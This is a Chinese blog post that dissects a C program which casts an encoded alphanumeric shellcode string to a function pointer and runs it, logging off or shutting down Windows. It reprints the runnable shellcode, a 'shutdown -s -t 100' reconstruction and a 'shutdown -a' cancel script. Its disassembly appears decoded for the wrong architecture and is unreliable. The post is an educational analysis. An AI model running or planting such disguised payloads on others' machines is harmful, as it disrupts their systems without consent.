这是什么操作?C语言一行字符串居然让我电脑关机了。

今天在在C站看到一篇文章,「一个神奇的C代码(你知道什么原理吗?)」。

文章中给出一段代码,然后在main函数中直接 return 了,初看好像没啥毛病。结果运行后电脑注销关机了。emmmmmm,这是什么操作(っ °Д °;)っ

代码如下:


#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[]= "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
            "W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
            "B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
            "H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
            "K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
            "L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
            "T097O0A0D050U1U161F02";
int main()
{
    
    
    return ((int(*)(void))&str)();
}

效果演示:
在这里插入图片描述
cmd窗口输入 shutdown -a 取消注销
在这里插入图片描述

下面我们来尝试分析一下这个程序。

1. 分析程序

先从程序入口main函数开始分析,main函数内部只有一条语句,而关键就在于语句中 (int(*)(void) 这个强转操作上。

从语法上分析,return ((int(*)(void)) &str )(); 红色部分是一个函数指针,而在强转结束后的绿色的括号实际上是调用了这个函数。
在这里插入图片描述
该程序已运行就注销计算机,且整个程序就这么一条语句,那么答案就显而易见了,这行语句就是导致我计算机注销的关键所在。

按照之前分析的,该语句将 str 的首地址强转为一个函数指针,那我们先从str的首地址着手。

将原来的语句注释,输出 &str 的地址看一下,得到 000AB000 地址。
在这里插入图片描述
通过VS内存工具也可以看到地址000AB000处确实保存的是str中的字符串。
在这里插入图片描述
而函数指针的作用时,指向一个函数的首地址,这样就可以通过函数指针间接调用函数了。

而上述代码中将 str 的首地址使用强转的方式重新解释为一个函数地址究竟有什么意图呢,别着急继续往下看就明白了。

2. 分析函数指针的调用。

函数指针间接调用了函数,那我们就先从函数的调用原理分析。

首先,通过调用func函数(自己编写一个fun()函数),分析函数调用原理。
在这里插入图片描述
在反汇编中我们可以看到,函数调用是用了一个指令 call 08D13C5h。 其实就是 跳转到内存中 08D13C5h 的位置,然后从给位置继续向下执行 。也就是我们常说的跳转到某某函数中。
在这里插入图片描述

同样的道理,函数指针执行的步骤也是一样的,因为函数指针中实际上就是保存的函数的入口地址,zui 还是调用了 call 指令跳转到函数中。 因此 ((int(*)(void))&str)();该语句调用时,实际上是跳转到000AB000 地址,然后继续向下执行。那么分析 str 中字符串的含义就是下一步我们要做的任务了。

3. 分析机器码

很明显,内存000AB000位置应该是一个函数的入口地址,而后面的数据应该是函数内的执行语句。只不过这个程序的作者将函数内的指令翻译成了16进制数字的机器码,以至于我们不能从表面上获悉该函数的功能。

要知道计算机世界中,一切都是有01构成的,而机器码在指令层面可以解析成为汇编指令,从另一个角度(字符的ascii映射表)也可以解析为一串字符串没错,就是代码开头保存在str中的那串字符串。

那么现在我们只需获得最原始的机器码,并将机器码转换成汇编指令即可知道原函数的功能。

首先,我们需要分析str保存的字符串,这些字符串中每个字符的ascii码都对应着汇编语言中的汇编指令。而我们需要得到 str 中所有字符对应的ascii码,然后将其转化为汇编代码。

以之前提取到的数据的前二行为例:

0x008DB000  50 59 56 54  PYVT
0x008DB004  58 31 30 58  X10X
0x008DB008  34 31 50 5a  41PZ
0x008DB00C  34 31 48 34  41H4

第一行:50 59 56 54 翻译成汇编代码为:
在这里插入图片描述
第二行:58 31 30 58
在这里插入图片描述
按照上述方法可以将机器码翻译成汇编代码。

下面我们将所有的机器码填写到 code 文本文件中,将所有机器码全部转为汇编代码。首先需要从str中提取所有机器码(字符串的ascii码),这里提供两种方法:
1.从vs内存查看工具中拷贝出数据
2.写一个函数将机器码输出到屏幕或文件(代码在文章末尾处)

在获得全部机器码后,将其存入 code 文本文件中,然后执行 decodecode 脚本。在这里插入图片描述
可以看到成功提取出了汇编代码。(全部汇编代码在文章末尾)
在这里插入图片描述

而要搞清楚这段代码究竟做了什么事情,我们还得继续向后分析这段汇编代码。但是由于博主汇编功底不是很强,就不解析这段汇编代码丢人现眼了。

不过我们可以再次从这个函数的功能分析,从功能上看是一个很简单的小程序,而通过上述分析我们已经知道了字符串能让电脑关机的原理,那么我们可以尝试着复现以下这个程序的C语言代码。

4. 再次分析程序

其实从第一步我们已经分析出了该程序的目的。即,让计算注销关机。

那么,从程序的功能的角度出发,它应该是执行了一句windows注销相关的命令或者调用了Windows的某个api函数。而让计算注销的windows 命令为 shutdown -s -t // -s关闭计算机,-t延迟时间

如果该程序是执行了一个Windows命令,那么要实现这样一个函数其实很简单,再结合原程序代码中的指针函数类型为 int(*)(void),可以推断出该函数大致为这样:

// 模拟关机程序
int func(){
    
    
    return system("shutdown -s -t 100");
}

而原本的程序经过翻译后其实是这样:

int main()
{
    
    
    return func();
}

执行程序后的效果是这样的:
在这里插入图片描述
而取消注销的命令也很简单,Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。
在这里插入图片描述

如果你想尝试一下该程序的话,请记住取消注销的命令 shutdown -a, 同时确保你的手速能够及时打开cmd窗口输入该命令。 当然你还有第二种选择,把该命令写成一个windows脚本,这样你用鼠标双击就可以执行。

5. Windows取消注销脚本

取消注销:Win-R 打开运行,输入cmd回车打开cmd窗口。
在cmd窗口输入 shutdown -a 即可取消注销。

编写为 bat 脚本,鼠标点击即可执行。

新建文本
在这里插入图片描述
编写脚本

@echo off
shutdown -a

将文件后缀改为 .bat
在这里插入图片描述

附:全部代码
#include <cstdio>
#include <cstring>
#include <cstdlib>		//system 
#pragma warning(disable:4996)

#pragma GCC optimize 0
#pragma comment(linker,"/section:.data,rwe")
char str[] = "PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE5I16OK4C162K5D16695J1TMN3P1"
"W0P5J0D7N7Z9L9K2I1W5B1M439LLM060L0R691Z414K2Z0M8O5H3Y8M3V604N13KK3L6O0R5JKO0A9Y5"
"B7O6P0N9S3Y0B1H5K100N2Z9R3A0F61075H114S1A9PMK4L5D6P1DML0L7M0F325G0H00MLKN0P7ZMN3"
"H8M0N0G0T060G2OMNJM1I3Z0K1M065A0Q3T2Z7N5KML2E0P3P3B2D8L02OK1W2C0I0U0S0O8L667M0QK"
"K660Y2H1C1U1S3X9W2B043J67JL9Q2IKL2CMN0J5O4S8K18620S0Y64MO2C0S2D1B050Y021W8M0A1S2"
"L5G1T640Q7K5DON3H4H3X355BMMKKMM0L2IKO09KN1W7M2G607K0S1W602M2A2A2M1S0R2Z0W047N2E0"
"T097O0A0D050U1U161F02";

// 获得机器码
void get_code()
{
    
    
    FILE* fp;   // 打开文件
    fp = fopen(".//code.txt", "w+");

    int n = strlen(str);
    for (int i = 0; i < n; ++i) {
    
       // 写入文件
        //fprintf(fp, "%#x, ", str[i]);
        fprintf(fp, "%x ", str[i]);
    }

    printf("get code ok!\n");
    fclose(fp); 
}

// 模拟关机程序
int func(){
    
    
    return system("shutdown -s -t 100");
}

int main()
{
    
    
   // get_code();

    return func();
}

原程序str字符串得到的汇编代码:

Code starting with the faulting instruction
===========================================
   0:   50                      push   %rax
   1:   59                      pop    %rcx
   2:   56                      push   %rsi
   3:   54                      push   %rsp
   4:   58                      pop    %rax
   5:   31 30                   xor    %esi,(%rax)
   7:   58                      pop    %rax
   8:   34 31                   xor    $0x31,%al
   a:   50                      push   %rax
   b:   5a                      pop    %rdx
   c:   34 31                   xor    $0x31,%al
   e:   48 34 41                rex.W xor $0x41,%al
  11:   34 49                   xor    $0x49,%al
  13:   31 54 41 37             xor    %edx,0x37(%rcx,%rax,2)
  17:   31 54 41 44             xor    %edx,0x44(%rcx,%rax,2)
  1b:   56                      push   %rsi
  1c:   54                      push   %rsp
  1d:   5a                      pop    %rdx
  1e:   33 32                   xor    (%rdx),%esi
  20:   50                      push   %rax
  21:   5a                      pop    %rdx
  22:   4e                      rex.WRX
  23:   42                      rex.X
  24:   46 5a                   rex.RX pop %rdx
  26:   44 51                   rex.R push %rcx
  28:   43 30 32                rex.XB xor %sil,(%r10)
  2b:   44 51                   rex.R push %rcx
  2d:   44 30 44 31 33          xor    %r8b,0x33(%rcx,%rsi,1)
  32:   44                      rex.R
  33:   4a                      rex.WX
  34:   45 35 49 31 36 4f       rex.RB xor $0x4f363149,%eax
  3a:   4b 34 43                rex.WXB xor $0x43,%al
  3d:   31 36                   xor    %esi,(%rsi)
  3f:   32 4b 35                xor    0x35(%rbx),%cl
  42:   44 31 36                xor    %r14d,(%rsi)
  45:   36 39 35 4a 31 54 4d    cmp    %esi,%ss:0x4d54314a(%rip)        # 0x4d543196
  4c:   4e 33 50 31             rex.WRX xor 0x31(%rax),%r10
  50:   57                      push   %rdi
  51:   30 50 35                xor    %dl,0x35(%rax)
  54:   4a 30 44 37 4e          rex.WX xor %al,0x4e(%rdi,%r14,1)
  59:   37                      (bad)
  5a:   5a                      pop    %rdx
  5b:   39 4c 39 4b             cmp    %ecx,0x4b(%rcx,%rdi,1)
  5f:   32 49 31                xor    0x31(%rcx),%cl
  62:   57                      push   %rdi
  63:   35 42 31 4d 34          xor    $0x344d3142,%eax
  68:   33 39                   xor    (%rcx),%edi
  6a:   4c                      rex.WR
  6b:   4c                      rex.WR
  6c:   4d 30 36                rex.WRB xor %r14b,(%r14)
  6f:   30 4c 30 52             xor    %cl,0x52(%rax,%rsi,1)
  73:   36 39 31                cmp    %esi,%ss:(%rcx)
  76:   5a                      pop    %rdx
  77:   34 31                   xor    $0x31,%al
  79:   34 4b                   xor    $0x4b,%al
  7b:   32 5a 30                xor    0x30(%rdx),%bl
  7e:   4d 38 4f 35             rex.WRB cmp %r9b,0x35(%r15)
  82:   48 33 59 38             xor    0x38(%rcx),%rbx
  86:   4d 33 56 36             xor    0x36(%r14),%r10
  8a:   30 34 4e                xor    %dh,(%rsi,%rcx,2)
  8d:   31 33                   xor    %esi,(%rbx)
  8f:   4b                      rex.WXB
  90:   4b 33 4c 36 4f          xor    0x4f(%r14,%r14,1),%rcx
  95:   30 52 35                xor    %dl,0x35(%rdx)
  98:   4a                      rex.WX
  99:   4b                      rex.WXB
  9a:   4f 30 41 39             rex.WRXB xor %r8b,0x39(%r9)
  9e:   59                      pop    %rcx
  9f:   35 42 37 4f 36          xor    $0x364f3742,%eax
  a4:   50                      push   %rax
  a5:   30 4e 39                xor    %cl,0x39(%rsi)
  a8:   53                      push   %rbx
  a9:   33 59 30                xor    0x30(%rcx),%ebx
  ac:   42 31 48 35             rex.X xor %ecx,0x35(%rax)
  b0:   4b 31 30                rex.WXB xor %rsi,(%r8)
  b3:   30 4e 32                xor    %cl,0x32(%rsi)
  b6:   5a                      pop    %rdx
  b7:   39 52 33                cmp    %edx,0x33(%rdx)
  ba:   41 30 46 36             xor    %al,0x36(%r14)
  be:   31 30                   xor    %esi,(%rax)
  c0:   37                      (bad)
  c1:   35 48 31 31 34          xor    $0x34313148,%eax
  c6:   53                      push   %rbx
  c7:   31 41 39                xor    %eax,0x39(%rcx)
  ca:   50                      push   %rax
  cb:   4d                      rex.WRB
  cc:   4b 34 4c                rex.WXB xor $0x4c,%al
  cf:   35 44 36 50 31          xor    $0x31503644,%eax
  d4:   44                      rex.R
  d5:   4d                      rex.WRB
  d6:   4c 30 4c 37 4d          rex.WR xor %r9b,0x4d(%rdi,%rsi,1)
  db:   30 46 33                xor    %al,0x33(%rsi)
  de:   32 35 47 30 48 30       xor    0x30483047(%rip),%dh        # 0x3048312b
  e4:   30 4d 4c                xor    %cl,0x4c(%rbp)
  e7:   4b                      rex.WXB
  e8:   4e 30 50 37             rex.WRX xor %r10b,0x37(%rax)
  ec:   5a                      pop    %rdx
  ed:   4d                      rex.WRB
  ee:   4e 33 48 38             rex.WRX xor 0x38(%rax),%r9
  f2:   4d 30 4e 30             rex.WRB xor %r9b,0x30(%r14)
  f6:   47 30 54 30 36          xor    %r10b,0x36(%r8,%r14,1)
  fb:   30 47 32                xor    %al,0x32(%rdi)
  fe:   4f                      rex.WRXB
  ff:   4d                      rex.WRB
 100:   4e                      rex.WRX
 101:   4a                      rex.WX
 102:   4d 31 49 33             xor    %r9,0x33(%r9)
 106:   5a                      pop    %rdx
 107:   30 4b 31                xor    %cl,0x31(%rbx)
 10a:   4d 30 36                rex.WRB xor %r14b,(%r14)
 10d:   35 41 30 51 33          xor    $0x33513041,%eax
 112:   54                      push   %rsp
 113:   32 5a 37                xor    0x37(%rdx),%bl
 116:   4e 35 4b 4d 4c 32       rex.WRX xor $0x324c4d4b,%rax
 11c:   45 30 50 33             xor    %r10b,0x33(%r8)
 120:   50                      push   %rax
 121:   33 42 32                xor    0x32(%rdx),%eax
 124:   44 38 4c 30 32          cmp    %r9b,0x32(%rax,%rsi,1)
 129:   4f                      rex.WRXB
 12a:   4b 31 57 32             rex.WXB xor %rdx,0x32(%r15)
 12e:   43 30 49 30             rex.XB xor %cl,0x30(%r9)
 132:   55                      push   %rbp
 133:   30 53 30                xor    %dl,0x30(%rbx)
 136:   4f 38 4c 36 36          rex.WRXB cmp %r9b,0x36(%r14,%r14,1)
 13b:   37                      (bad)
 13c:   4d 30 51 4b             rex.WRB xor %r10b,0x4b(%r9)
 140:   4b                      rex.WXB
 141:   36 36 30 59 32          ss xor %bl,%ss:0x32(%rcx)
 146:   48 31 43 31             xor    %rax,0x31(%rbx)
 14a:   55                      push   %rbp
 14b:   31 53 33                xor    %edx,0x33(%rbx)
 14e:   58                      pop    %rax
 14f:   39 57 32                cmp    %edx,0x32(%rdi)
 152:   42 30 34 33             xor    %sil,(%rbx,%r14,1)
 156:   4a                      rex.WX
 157:   36 37                   ss (bad)
 159:   4a                      rex.WX
 15a:   4c 39 51 32             cmp    %r10,0x32(%rcx)
 15e:   49                      rex.WB
 15f:   4b                      rex.WXB
 160:   4c 32 43 4d             rex.WR xor 0x4d(%rbx),%r8b
 164:   4e 30 4a 35             rex.WRX xor %r9b,0x35(%rdx)
 168:   4f 34 53                rex.WRXB xor $0x53,%al
 16b:   38 4b 31                cmp    %cl,0x31(%rbx)
 16e:   38 36                   cmp    %dh,(%rsi)
 170:   32 30                   xor    (%rax),%dh
 172:   53                      push   %rbx
 173:   30 59 36                xor    %bl,0x36(%rcx)
 176:   34 4d                   xor    $0x4d,%al
 178:   4f 32 43 30             rex.WRXB xor 0x30(%r11),%r8b
 17c:   53                      push   %rbx
 17d:   32 44 31 42             xor    0x42(%rcx,%rsi,1),%al
 181:   30 35 30 59 30 32       xor    %dh,0x32305930(%rip)        # 0x32305ab7
 187:   31 57 38                xor    %edx,0x38(%rdi)
 18a:   4d 30 41 31             rex.WRB xor %r8b,0x31(%r9)
 18e:   53                      push   %rbx
 18f:   32 4c 35 47             xor    0x47(%rbp,%rsi,1),%cl
 193:   31 54 36 34             xor    %edx,0x34(%rsi,%rsi,1)
 197:   30 51 37                xor    %dl,0x37(%rcx)
 19a:   4b 35 44 4f 4e 33       rex.WXB xor $0x334e4f44,%rax
 1a0:   48 34 48                rex.W xor $0x48,%al
 1a3:   33 58 33                xor    0x33(%rax),%ebx
 1a6:   35 35 42 4d 4d          xor    $0x4d4d4235,%eax
 1ab:   4b                      rex.WXB
 1ac:   4b                      rex.WXB
 1ad:   4d                      rex.WRB
 1ae:   4d 30 4c 32 49          rex.WRB xor %r9b,0x49(%r10,%rsi,1)
 1b3:   4b                      rex.WXB
 1b4:   4f 30 39                rex.WRXB xor %r15b,(%r9)
 1b7:   4b                      rex.WXB
 1b8:   4e 31 57 37             rex.WRX xor %r10,0x37(%rdi)
 1bc:   4d 32 47 36             rex.WRB xor 0x36(%r15),%r8b
 1c0:   30 37                   xor    %dh,(%rdi)
 1c2:   4b 30 53 31             rex.WXB xor %dl,0x31(%r11)
 1c6:   57                      push   %rdi
 1c7:   36 30 32                xor    %dh,%ss:(%rdx)
 1ca:   4d 32 41 32             rex.WRB xor 0x32(%r9),%r8b
 1ce:   41 32 4d 31             xor    0x31(%r13),%cl
 1d2:   53                      push   %rbx
 1d3:   30 52 32                xor    %dl,0x32(%rdx)
 1d6:   5a                      pop    %rdx
 1d7:   30 57 30                xor    %dl,0x30(%rdi)
 1da:   34 37                   xor    $0x37,%al
 1dc:   4e 32 45 30             rex.WRX xor 0x30(%rbp),%r8b
 1e0:   54                      push   %rsp
 1e1:   30 39                   xor    %bh,(%rcx)
 1e3:   37                      (bad)
 1e4:   4f 30 41 30             rex.WRXB xor %r8b,0x30(%r9)
 1e8:   44 30 35 30 55 31 55    xor    %r14b,0x55315530(%rip)        # 0x5531571f
 1ef:   31 36                   xor    %esi,(%rsi)
 1f1:   31 46 30                xor    %eax,0x30(%rsi)
 1f4:   32                      .byte 0x32

猜你喜欢

转载自blog.csdn.net/weixin_43919932/article/details/122516250